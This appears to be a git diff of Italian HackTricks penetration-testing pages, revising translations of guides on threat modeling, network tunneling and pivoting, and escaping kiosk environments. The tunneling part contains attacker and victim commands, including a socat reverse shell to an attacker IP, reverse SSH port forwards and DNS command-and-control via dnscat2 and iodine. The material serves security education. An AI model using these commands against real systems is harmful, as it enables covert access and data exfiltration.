Un Threat Model è tipicamente rappresentato come un diagramma, immagine o qualche altra forma di illustrazione visiva che descrive l'architettura pianificata o la build esistente di un'applicazione. Ricorda un **data flow diagram**, ma la principale distinzione risiede nel suo design orientato alla sicurezza.
|
||||
|
||||
## Modellazione delle Minacce
|
||||
I threat model presentano spesso elementi contrassegnati in rosso, simboleggiando potenziali vulnerabilità, rischi o barriere. Per semplificare il processo di identificazione dei rischi, viene impiegato il triade CIA (Confidenzialità, Integrità, Disponibilità), che forma la base di molte metodologie di threat modeling, con STRIDE che è una delle più comuni. Tuttavia, la metodologia scelta può variare a seconda del contesto e dei requisiti specifici.
|
||||
|
||||
Benvenuto alla guida completa di HackTricks sulla Modellazione delle Minacce! Imbarcati in un'esplorazione di questo aspetto critico della sicurezza informatica, dove identifichiamo, comprendiamo e pianifichiamo contro le potenziali vulnerabilità in un sistema. Questo thread serve come guida passo dopo passo ricca di esempi reali, software utile e spiegazioni facili da comprendere. Ideale sia per i principianti che per i professionisti esperti che desiderano rafforzare le loro difese informatiche.
|
||||
### The CIA Triad
|
||||
|
||||
### Scenari Comunemente Utilizzati
|
||||
La triade CIA è un modello ampiamente riconosciuto nel campo della sicurezza delle informazioni, che sta per Confidenzialità, Integrità e Disponibilità. Questi tre pilastri formano la base su cui sono costruite molte misure e politiche di sicurezza, comprese le metodologie di threat modeling.
|
||||
|
||||
1. **Sviluppo Software**: Come parte del Ciclo di Vita dello Sviluppo Software Sicuro (SSDLC), la modellazione delle minacce aiuta nell'**identificare potenziali fonti di vulnerabilità** nelle fasi iniziali dello sviluppo.
|
||||
2. **Penetration Testing**: Il framework Penetration Testing Execution Standard (PTES) richiede la **modellazione delle minacce per comprendere le vulnerabilità del sistema** prima di effettuare il test.
|
||||
1. **Confidenzialità**: Garantire che i dati o il sistema non siano accessibili da individui non autorizzati. Questo è un aspetto centrale della sicurezza, che richiede controlli di accesso appropriati, crittografia e altre misure per prevenire le violazioni dei dati.
|
||||
2. **Integrità**: L'accuratezza, la coerenza e l'affidabilità dei dati nel loro ciclo di vita. Questo principio garantisce che i dati non vengano alterati o manomessi da parti non autorizzate. Spesso coinvolge checksum, hashing e altri metodi di verifica dei dati.
|
||||
3. **Disponibilità**: Questo garantisce che i dati e i servizi siano accessibili agli utenti autorizzati quando necessario. Questo spesso implica ridondanza, tolleranza ai guasti e configurazioni ad alta disponibilità per mantenere i sistemi operativi anche di fronte a interruzioni.
|
||||
|
||||
### Modello delle Minacce in Breve
|
||||
### Threat Modeling Methodlogies
|
||||
|
||||
Un Modello delle Minacce è tipicamente rappresentato come un diagramma, un'immagine o qualche altra forma di illustrazione visiva che rappresenta l'architettura pianificata o l'implementazione esistente di un'applicazione. Ha somiglianze con un **diagramma di flusso dati**, ma la distinzione chiave risiede nel suo design orientato alla sicurezza.
|
||||
1. **STRIDE**: Sviluppato da Microsoft, STRIDE è un acronimo per **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Ogni categoria rappresenta un tipo di minaccia, e questa metodologia è comunemente utilizzata nella fase di design di un programma o sistema per identificare potenziali minacce.
|
||||
2. **DREAD**: Questa è un'altra metodologia di Microsoft utilizzata per la valutazione del rischio delle minacce identificate. DREAD sta per **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Ognuno di questi fattori viene valutato, e il risultato viene utilizzato per dare priorità alle minacce identificate.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Questa è una metodologia **centrata sul rischio** in sette fasi. Include la definizione e l'identificazione degli obiettivi di sicurezza, la creazione di un ambito tecnico, la decomposizione dell'applicazione, l'analisi delle minacce, l'analisi delle vulnerabilità e la valutazione del rischio/triage.
|
||||
4. **Trike**: Questa è una metodologia basata sul rischio che si concentra sulla difesa degli asset. Parte da una prospettiva di **gestione del rischio** e analizza minacce e vulnerabilità in quel contesto.
|
||||
5. **VAST** (Visual, Agile, and Simple Threat modeling): Questo approccio mira a essere più accessibile e si integra negli ambienti di sviluppo Agile. Combina elementi delle altre metodologie e si concentra su **rappresentazioni visive delle minacce**.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Sviluppato dal CERT Coordination Center, questo framework è orientato verso **la valutazione del rischio organizzativo piuttosto che sistemi o software specifici**.
|
||||
|
||||
I modelli delle minacce spesso presentano elementi contrassegnati in rosso, simboleggiando potenziali vulnerabilità, rischi o barriere. Per semplificare il processo di identificazione dei rischi, viene impiegato il triade CIA (Confidenzialità, Integrità, Disponibilità), che costituisce la base di molte metodologie di modellazione delle minacce, con STRIDE che è una delle più comuni. Tuttavia, la metodologia scelta può variare a seconda del contesto specifico e dei requisiti.
|
||||
## Tools
|
||||
|
||||
### La Triade CIA
|
||||
|
||||
La Triade CIA è un modello ampiamente riconosciuto nel campo della sicurezza informatica, che sta per Confidenzialità, Integrità e Disponibilità. Questi tre pilastri costituiscono la base su cui sono costruite molte misure di sicurezza e politiche, inclusi i metodi di modellazione delle minacce.
|
||||
|
||||
1. **Confidenzialità**: Garantire che i dati o il sistema non siano accessibili da individui non autorizzati. Questo è un aspetto centrale della sicurezza, che richiede controlli di accesso appropriati, crittografia e altre misure per prevenire violazioni dei dati.
|
||||
2. **Integrità**: L'accuratezza, la coerenza e l'affidabilità dei dati durante il loro ciclo di vita. Questo principio garantisce che i dati non siano alterati o manomessi da parti non autorizzate. Spesso coinvolge checksum, hash e altri metodi di verifica dei dati.
|
||||
3. **Disponibilità**: Questo garantisce che i dati e i servizi siano accessibili agli utenti autorizzati quando necessario. Spesso coinvolge ridondanza, tolleranza ai guasti e configurazioni ad alta disponibilità per mantenere i sistemi in funzione anche di fronte a interruzioni.
|
||||
|
||||
### Metodologie di Modellazione delle Minacce
|
||||
|
||||
1. **STRIDE**: Sviluppato da Microsoft, STRIDE è un acronimo per **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service e Elevation of Privilege**. Ogni categoria rappresenta un tipo di minaccia, e questa metodologia è comunemente utilizzata nella fase di progettazione di un programma o sistema per identificare minacce potenziali.
|
||||
2. **DREAD**: Questa è un'altra metodologia di Microsoft utilizzata per la valutazione del rischio delle minacce identificate. DREAD sta per **Damage potential, Reproducibility, Exploitability, Affected users e Discoverability**. Ciascuno di questi fattori viene valutato e il risultato viene utilizzato per prioritizzare le minacce identificate.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Si tratta di una metodologia a sette passaggi, **centrata sul rischio**. Include la definizione e l'identificazione degli obiettivi di sicurezza, la creazione di un ambito tecnico, la decomposizione dell'applicazione, l'analisi delle minacce, l'analisi delle vulnerabilità e la valutazione del rischio/triage.
|
||||
4. **Trike**: Si tratta di una metodologia basata sul rischio che si concentra sulla difesa degli asset. Parte da una prospettiva di **gestione del rischio** e analizza minacce e vulnerabilità in quel contesto.
|
||||
5. **VAST** (Visual, Agile e Simple Threat modeling): Questo approccio mira ad essere più accessibile e si integra negli ambienti di sviluppo Agile. Combina elementi delle altre metodologie e si concentra sulle **rappresentazioni visive delle minacce**.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset e Vulnerability Evaluation): Sviluppato dal CERT Coordination Center, questo framework è orientato alla **valutazione del rischio organizzativo piuttosto che a sistemi o software specifici**.
|
||||
|
||||
## Strumenti
|
||||
|
||||
Ci sono diversi strumenti e soluzioni software disponibili che possono **aiutare** nella creazione e gestione dei modelli delle minacce. Ecco alcuni che potresti prendere in considerazione.
|
||||
Ci sono diversi strumenti e soluzioni software disponibili che possono **assistere** nella creazione e gestione dei threat model. Ecco alcuni che potresti considerare.
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
Un avanzato web spider/crawler GUI multi-piattaforma per professionisti della sicurezza informatica. Spider Suite può essere utilizzato per il mapping e l'analisi della superficie di attacco.
|
||||
Un avanzato spider/crawler GUI multipiattaforma e multi-funzione per professionisti della cybersecurity. Spider Suite può essere utilizzato per la mappatura e l'analisi della superficie di attacco.
|
||||
|
||||
**Utilizzo**
|
||||
**Usage**
|
||||
|
||||
1. Scegli un URL e Fai lo Spider
|
||||
1. Scegli un URL e Crawla
|
||||
|
||||
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -66,11 +53,11 @@ Un avanzato web spider/crawler GUI multi-piattaforma per professionisti della si
|
|||
|
||||
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
||||
|
||||
Un progetto open-source di OWASP, Threat Dragon è sia un'applicazione web che desktop che include la creazione di diagrammi di sistema e un motore di regole per generare automaticamente minacce/mitigazioni.
|
||||
Un progetto open-source di OWASP, Threat Dragon è sia un'applicazione web che desktop che include diagrammi di sistema e un motore di regole per generare automaticamente minacce/mitigazioni.
|
||||
|
||||
**Utilizzo**
|
||||
**Usage**
|
||||
|
||||
1. Crea un Nuovo Progetto
|
||||
1. Crea Nuovo Progetto
|
||||
|
||||
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -78,7 +65,7 @@ A volte potrebbe apparire così:
|
|||
|
||||
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. Avvia il Nuovo Progetto
|
||||
2. Avvia Nuovo Progetto
|
||||
|
||||
<figure><img src="../.gitbook/assets/launch_new_project_2.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -88,21 +75,21 @@ A volte potrebbe apparire così:
|
|||
|
||||
4. Crea il tuo modello
|
||||
|
||||
Puoi utilizzare strumenti come SpiderSuite Crawler per ispirarti, un modello di base assomiglierebbe a qualcosa del genere
|
||||
Puoi utilizzare strumenti come SpiderSuite Crawler per darti ispirazione, un modello di base potrebbe apparire così
|
||||
|
||||
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Solo un breve spiegazione sulle entità:
|
||||
Solo un po' di spiegazione sulle entità:
|
||||
|
||||
* Processo (L'entità stessa come un Webserver o una funzionalità web)
|
||||
* Attore (Una persona come un Visitatore del Sito Web, Utente o Amministratore)
|
||||
* Linea di Flusso dei Dati (Indicatore di Interazione)
|
||||
* Limite di Fiducia (Diverse segmenti di rete o ambiti.)
|
||||
* Archiviazione (Cose dove i dati sono memorizzati come ad esempio Database)
|
||||
* Processo (L'entità stessa come Webserver o funzionalità web)
|
||||
* Attore (Una persona come un Visitatore del Sito, Utente o Amministratore)
|
||||
* Linea di Flusso Dati (Indicatore di Interazione)
|
||||
* Confine di Fiducia (Segmenti o ambiti di rete diversi.)
|
||||
* Archiviazione (Luoghi dove i dati sono archiviati come Database)
|
||||
|
||||
5. Crea una Minaccia (Passaggio 1)
|
||||
5. Crea una Minaccia (Passo 1)
|
||||
|
||||
Prima devi scegliere lo strato a cui desideri aggiungere una minaccia
|
||||
Prima devi scegliere il livello a cui desideri aggiungere una minaccia
|
||||
|
||||
<figure><img src="../.gitbook/assets/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -110,27 +97,16 @@ Ora puoi creare la minaccia
|
|||
|
||||
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tieni presente che c'è una differenza tra le Minacce degli Attori e le Minacce dei Processi. Se aggiungessi una minaccia a un Attore, potresti scegliere solo "Spoofing" e "Repudiation". Tuttavia, nel nostro esempio aggiungiamo una minaccia a un'entità di Processo quindi vedremo questo nella casella di creazione della minaccia:
|
||||
Tieni presente che c'è una differenza tra Minacce agli Attori e Minacce ai Processi. Se aggiungi una minaccia a un Attore, potrai scegliere solo "Spoofing" e "Repudiation". Tuttavia, nel nostro esempio aggiungiamo una minaccia a un'entità di Processo, quindi vedremo questo nella casella di creazione della minaccia:
|
||||
|
||||
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
6. Fatto
|
||||
|
||||
Ora il tuo modello finito dovrebbe assomigliare a qualcosa del genere. E così si crea un semplice modello delle minacce con OWASP Threat Dragon.
|
||||
Ora il tuo modello finito dovrebbe apparire così. E questo è come crei un semplice threat model con OWASP Threat Dragon.
|
||||
|
||||
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
||||
### [Strumento di Threat Modeling di Microsoft](https://aka.ms/threatmodelingtool)
|
||||
|
||||
Si tratta di uno strumento gratuito di Microsoft che aiuta a individuare minacce nella fase di progettazione dei progetti software. Utilizza la metodologia STRIDE ed è particolarmente adatto a coloro che sviluppano sulla piattaforma Microsoft.
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
||||
|
||||
Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Questo è uno strumento gratuito di Microsoft che aiuta a trovare minacce nella fase di design dei progetti software. Utilizza la metodologia STRIDE ed è particolarmente adatto per coloro che sviluppano sulla stack di Microsoft.
|
||||
|
|
|
@ -15,14 +15,6 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Suggerimento Nmap
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
@ -219,7 +211,7 @@ Devi usare la **stessa versione per client e server**
|
|||
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Tunnel inverso. Il tunnel viene avviato dalla vittima.\
|
||||
Tunnel inverso. Il tunnel è avviato dalla vittima.\
|
||||
Viene creato un proxy socks4 su 127.0.0.1:1080
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
|
@ -254,7 +246,7 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
|||
```bash
|
||||
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```
|
||||
### Port2Port tramite socks
|
||||
### Port2Port attraverso socks
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
|
@ -304,7 +296,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
|
||||
È come una versione console di PuTTY (le opzioni sono molto simili a quelle di un client ssh).
|
||||
|
||||
Poiché questo binario verrà eseguito nella vittima ed è un client ssh, dobbiamo aprire il nostro servizio ssh e la porta in modo da poter avere una connessione inversa. Quindi, per inoltrare solo la porta accessibile localmente a una porta nella nostra macchina:
|
||||
Poiché questo binario verrà eseguito nella vittima ed è un client ssh, dobbiamo aprire il nostro servizio ssh e la porta in modo da poter avere una connessione inversa. Quindi, per inoltrare solo una porta accessibile localmente a una porta nella nostra macchina:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
|
@ -331,7 +323,7 @@ Scarica:
|
|||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Questo strumento utilizza `Dynamic Virtual Channels` (`DVC`) dalla funzione Remote Desktop Service di Windows. DVC è responsabile per **il tunneling dei pacchetti sulla connessione RDP**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Nel computer client carica **`SocksOverRDP-Plugin.dll`** in questo modo:
|
||||
Nel tuo computer client carica **`SocksOverRDP-Plugin.dll`** in questo modo:
|
||||
```bash
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
|
@ -346,13 +338,13 @@ Ora, conferma nella tua macchina (attaccante) che la porta 1080 è in ascolto:
|
|||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Ora puoi usare [**Proxifier**](https://www.proxifier.com/) **per proxy il traffico attraverso quella porta.**
|
||||
Ora puoi utilizzare [**Proxifier**](https://www.proxifier.com/) **per proxy il traffico attraverso quella porta.**
|
||||
|
||||
## Proxifica le app GUI di Windows
|
||||
|
||||
Puoi far navigare le app GUI di Windows attraverso un proxy usando [**Proxifier**](https://www.proxifier.com/).\
|
||||
Puoi far navigare le app GUI di Windows attraverso un proxy utilizzando [**Proxifier**](https://www.proxifier.com/).\
|
||||
In **Profile -> Proxy Servers** aggiungi l'IP e la porta del server SOCKS.\
|
||||
In **Profile -> Proxification Rules** aggiungi il nome del programma da proxificare e le connessioni agli IP che vuoi proxificare.
|
||||
In **Profile -> Proxification Rules** aggiungi il nome del programma da proxificare e le connessioni agli IP che desideri proxificare.
|
||||
|
||||
## Bypass del proxy NTLM
|
||||
|
||||
|
@ -375,7 +367,7 @@ Proxy 10.0.0.10:8080
|
|||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Ora, se imposti ad esempio nel bersaglio il servizio **SSH** per ascoltare sulla porta 443. Puoi connetterti ad esso attraverso la porta 2222 dell'attaccante.\
|
||||
Puoi anche utilizzare un **meterpreter** che si connette a localhost:443 e l'attaccante sta ascoltando sulla porta 2222.
|
||||
Potresti anche utilizzare un **meterpreter** che si connette a localhost:443 e l'attaccante sta ascoltando sulla porta 2222.
|
||||
|
||||
## YARP
|
||||
|
||||
|
@ -387,7 +379,7 @@ Un reverse proxy creato da Microsoft. Puoi trovarlo qui: [https://github.com/mic
|
|||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
È necessario avere i privilegi di root in entrambi i sistemi per creare adattatori tun e tunnelare i dati tra di essi utilizzando query DNS.
|
||||
È necessario avere i privilegi di root in entrambi i sistemi per creare adattatori tun e tunnelare dati tra di essi utilizzando query DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
|
@ -401,7 +393,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
|||
|
||||
[**Scaricalo da qui**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
Stabilisce un canale C\&C tramite DNS. Non richiede privilegi di root.
|
||||
Stabilisce un canale C\&C attraverso DNS. Non richiede privilegi di root.
|
||||
```bash
|
||||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||||
victim> ./dnscat2 tunneldomain.com
|
||||
|
@ -527,17 +519,9 @@ addr: file:///tmp/httpbin/
|
|||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,47 +1,37 @@
|
|||
# Fuga dai KIOSKs
|
||||
# Uscire dai KIOSK
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sostieni HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
||||
|
||||
Il loro obiettivo principale è contrastare le violazioni di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## Controlla il dispositivo fisico
|
||||
|
||||
| Componente | Azione |
|
||||
| ------------- | -------------------------------------------------------------------- |
|
||||
| Pulsante di accensione | Spegnere e riaccendere il dispositivo potrebbe esporre la schermata di avvio |
|
||||
| Cavo di alimentazione | Verifica se il dispositivo si riavvia quando l'alimentazione viene interrotta brevemente |
|
||||
| -------------- | -------------------------------------------------------------------- |
|
||||
| Pulsante di accensione | Spegnere e riaccendere il dispositivo può esporre la schermata di avvio |
|
||||
| Cavo di alimentazione | Controlla se il dispositivo si riavvia quando l'alimentazione viene interrotta brevemente |
|
||||
| Porte USB | Collega una tastiera fisica con più scorciatoie |
|
||||
| Ethernet | La scansione di rete o lo sniffing potrebbero consentire ulteriori sfruttamenti |
|
||||
| Ethernet | La scansione della rete o il sniffing possono abilitare ulteriori sfruttamenti |
|
||||
|
||||
|
||||
## Controlla le possibili azioni all'interno dell'applicazione GUI
|
||||
|
||||
I **Dialoghi Comuni** sono quelle opzioni di **salvataggio di un file**, **apertura di un file**, selezione di un carattere, di un colore... La maggior parte di essi **offrirà una funzionalità completa di Esplora risorse**. Ciò significa che potrai accedere alle funzionalità di Esplora risorse se puoi accedere a queste opzioni:
|
||||
**Dialoghi comuni** sono quelle opzioni di **salvare un file**, **aprire un file**, selezionare un font, un colore... La maggior parte di essi **offrirà una funzionalità completa di Explorer**. Questo significa che sarai in grado di accedere alle funzionalità di Explorer se puoi accedere a queste opzioni:
|
||||
|
||||
* Chiudi/Chiudi come
|
||||
* Apri/Apri con
|
||||
|
@ -50,16 +40,16 @@ I **Dialoghi Comuni** sono quelle opzioni di **salvataggio di un file**, **apert
|
|||
* Cerca
|
||||
* Scansiona
|
||||
|
||||
Dovresti verificare se puoi:
|
||||
Dovresti controllare se puoi:
|
||||
|
||||
* Modificare o creare nuovi file
|
||||
* Creare collegamenti simbolici
|
||||
* Accedere ad aree restritte
|
||||
* Accedere ad aree riservate
|
||||
* Eseguire altre app
|
||||
|
||||
### Esecuzione di Comandi
|
||||
### Esecuzione di comandi
|
||||
|
||||
Forse **utilizzando l'opzione `Apri con`** puoi aprire/eseguire qualche tipo di shell.
|
||||
Forse **utilizzando un'opzione `Apri con`** puoi aprire/eseguire qualche tipo di shell.
|
||||
|
||||
#### Windows
|
||||
|
||||
|
@ -67,18 +57,18 @@ Ad esempio _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, ta
|
|||
|
||||
#### \*NIX \_\_
|
||||
|
||||
_bash, sh, zsh..._ Più qui: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
_bash, sh, zsh..._ Maggiori informazioni qui: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
|
||||
## Windows
|
||||
|
||||
### Eludere le restrizioni del percorso
|
||||
### Bypassare le restrizioni del percorso
|
||||
|
||||
* **Variabili d'ambiente**: Ci sono molte variabili d'ambiente che puntano a un determinato percorso
|
||||
* **Variabili di ambiente**: Ci sono molte variabili di ambiente che puntano a qualche percorso
|
||||
* **Altri protocolli**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **Collegamenti simbolici**
|
||||
* **Scorciatoie**: CTRL+N (apri nuova sessione), CTRL+R (Esegui Comandi), CTRL+SHIFT+ESC (Task Manager), Windows+E (apri esplora risorse), CTRL-B, CTRL-I (Preferiti), CTRL-H (Cronologia), CTRL-L, CTRL-O (File/Apri Dialogo), CTRL-P (Dialogo di Stampa), CTRL-S (Salva come)
|
||||
* **Scorciatoie**: CTRL+N (apri nuova sessione), CTRL+R (Esegui comandi), CTRL+SHIFT+ESC (Gestione attività), Windows+E (apri explorer), CTRL-B, CTRL-I (Preferiti), CTRL-H (Cronologia), CTRL-L, CTRL-O (File/Dialogo di apertura), CTRL-P (Dialogo di stampa), CTRL-S (Salva con nome)
|
||||
* Menu amministrativo nascosto: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
* **URI della Shell**: _shell:Strumenti Amministrativi, shell:Libreria Documenti, shell:Biblioteche, shell:Profili Utente, shell:Personale, shell:Cartella Ricerca, shell:Sistemashell:Cartelle Posta di Rete, shell:Invia a, shell:Profili Utenti, shell:Strumenti Amministrativi Comuni, shell:Risorse del Computer, shell:Cartella Internet_
|
||||
* **Shell URIs**: _shell:Strumenti amministrativi, shell:Libreria documenti, shell:Librerie, shell:Profili utente, shell:Personale, shell:Cerca nella cartella home, shell:Luoghi di rete, shell:Invia a, shell:Profili utenti, shell:Strumenti amministrativi comuni, shell:Cartella computer, shell:Cartella Internet_
|
||||
* **Percorsi UNC**: Percorsi per connettersi a cartelle condivise. Dovresti provare a connetterti al C$ della macchina locale ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **Altri percorsi UNC:**
|
||||
|
||||
|
@ -94,16 +84,16 @@ _bash, sh, zsh..._ Più qui: [https://gtfobins.github.io/](https://gtfobins.gith
|
|||
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
||||
| %USERPROFILE% | %WINDIR% | |
|
||||
|
||||
### Scarica i Tuoi Binari
|
||||
### Scarica i tuoi binari
|
||||
|
||||
Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||
Esplora risorse: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
Editor del Registro di sistema: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
